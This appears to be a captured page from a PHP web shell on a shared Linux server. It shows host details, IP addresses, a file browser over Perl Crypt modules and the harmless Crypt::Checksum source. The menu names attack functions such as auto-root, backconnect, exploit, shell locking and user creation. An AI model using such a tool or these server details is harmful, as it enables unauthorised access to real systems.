Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl5 /
5.34 /
Crypt /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthEnc
[ DIR ]
drwxr-xr-x
Checksum
[ DIR ]
drwxr-xr-x
Cipher
[ DIR ]
drwxr-xr-x
DH
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Mac
[ DIR ]
drwxr-xr-x
Mode
[ DIR ]
drwxr-xr-x
OpenSSL
[ DIR ]
drwxr-xr-x
PK
[ DIR ]
drwxr-xr-x
PRNG
[ DIR ]
drwxr-xr-x
SSLeay
[ DIR ]
drwxr-xr-x
Stream
[ DIR ]
drwxr-xr-x
AuthEnc.pm
152
B
-rw-r--r--
Blowfish.pm
4.66
KB
-rw-r--r--
Checksum.pm
2.2
KB
-rw-r--r--
Cipher.pm
4.09
KB
-rw-r--r--
DES.pm
3.43
KB
-rw-r--r--
Digest.pm
9.12
KB
-rw-r--r--
KeyDerivation.pm
3.65
KB
-rw-r--r--
Mac.pm
711
B
-rw-r--r--
Misc.pm
14.59
KB
-rw-r--r--
Mode.pm
146
B
-rw-r--r--
PK.pm
505
B
-rw-r--r--
PRNG.pm
6.49
KB
-rw-r--r--
Rijndael.pm
3.06
KB
-rw-r--r--
SSLeay.pm
16.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Checksum.pm
package Crypt::Checksum; use strict; use warnings; our $VERSION = '0.076'; require Exporter; our @ISA = qw(Exporter); ### use Exporter 5.57 'import'; our %EXPORT_TAGS = ( all => [qw/ adler32_data adler32_data_hex adler32_data_int adler32_file adler32_file_hex adler32_file_int crc32_data crc32_data_hex crc32_data_int crc32_file crc32_file_hex crc32_file_int /] ); our @EXPORT_OK = ( @{ $EXPORT_TAGS{'all'} } ); our @EXPORT = qw(); use Carp; $Carp::Internal{(__PACKAGE__)}++; # obsolete since v0.057, only for backwards compatibility use Crypt::Checksum::CRC32; use Crypt::Checksum::Adler32; sub adler32_data { goto \&Crypt::Checksum::Adler32::adler32_data } sub adler32_data_hex { goto \&Crypt::Checksum::Adler32::adler32_data_hex } sub adler32_data_int { goto \&Crypt::Checksum::Adler32::adler32_data_int } sub adler32_file { goto \&Crypt::Checksum::Adler32::adler32_file } sub adler32_file_hex { goto \&Crypt::Checksum::Adler32::adler32_file_hex } sub adler32_file_int { goto \&Crypt::Checksum::Adler32::adler32_file_int } sub crc32_data { goto \&Crypt::Checksum::CRC32::crc32_data } sub crc32_data_hex { goto \&Crypt::Checksum::CRC32::crc32_data_hex } sub crc32_data_int { goto \&Crypt::Checksum::CRC32::crc32_data_int } sub crc32_file { goto \&Crypt::Checksum::CRC32::crc32_file } sub crc32_file_hex { goto \&Crypt::Checksum::CRC32::crc32_file_hex } sub crc32_file_int { goto \&Crypt::Checksum::CRC32::crc32_file_int } sub addfile { my ($self, $file) = @_; my $handle; if (ref(\$file) eq 'SCALAR') { #filename open($handle, "<", $file) || croak "FATAL: cannot open '$file': $!"; binmode($handle); } else { #handle $handle = $file } croak "FATAL: invalid handle" unless defined $handle; my $n; my $buf = ""; while (($n = read($handle, $buf, 32*1024))) { $self->add($buf) } croak "FATAL: read failed: $!" unless defined $n; return $self; } sub CLONE_SKIP { 1 } # prevent cloning 1; =pod =head1 NAME Crypt::Checksum - [internal only] =head1 DESCRIPTION You are probably looking for L<Crypt::Checksum::CRC32> or L<Crypt::Checksum::Adler32>. =cut
Close